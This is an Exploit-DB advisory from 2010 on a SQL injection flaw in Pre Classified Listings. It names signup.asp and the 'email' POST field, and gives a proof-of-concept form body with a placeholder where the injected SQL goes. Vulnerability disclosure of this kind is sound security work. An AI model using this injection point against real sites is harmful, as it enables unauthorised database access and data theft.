Lucene search

K
exploitdbCruxEDB-ID:11589
HistoryFeb 27, 2010 - 12:00 a.m.

Pre Classified Listings - SQL Injection

2010-02-2700:00:00
Crux
www.exploit-db.com
24

AI Score

7.4

Confidence

Low

=================================================================
[~] Pre Classified Listings Remote SQL Injection Vulnerability
=================================================================

##########################################################
## Author: Crux
## Homepage: http://hack-tech.com
## Date: 2-27-2010
## Software Link: http://www.preprojects.com/businesslisting.asp
## Version: N/A
##########################################################

[ SQLi ]
---------------------------------
// This vulnerability affects signup.asp
// Can be exploited VIA the POST variable 'email'

[#] Exploit / POC:
[email protected]&email=${SQLINJECTIONHERE}&pass=test&ad
dress=3137%20Laguna%20Street&phone=555-666-0606&state=0&hide_email=on&url_add=
[email protected]&Submit=SignUp&addit=start
=================================================================

AI Score

7.4

Confidence

Low

Related for EDB-ID:11589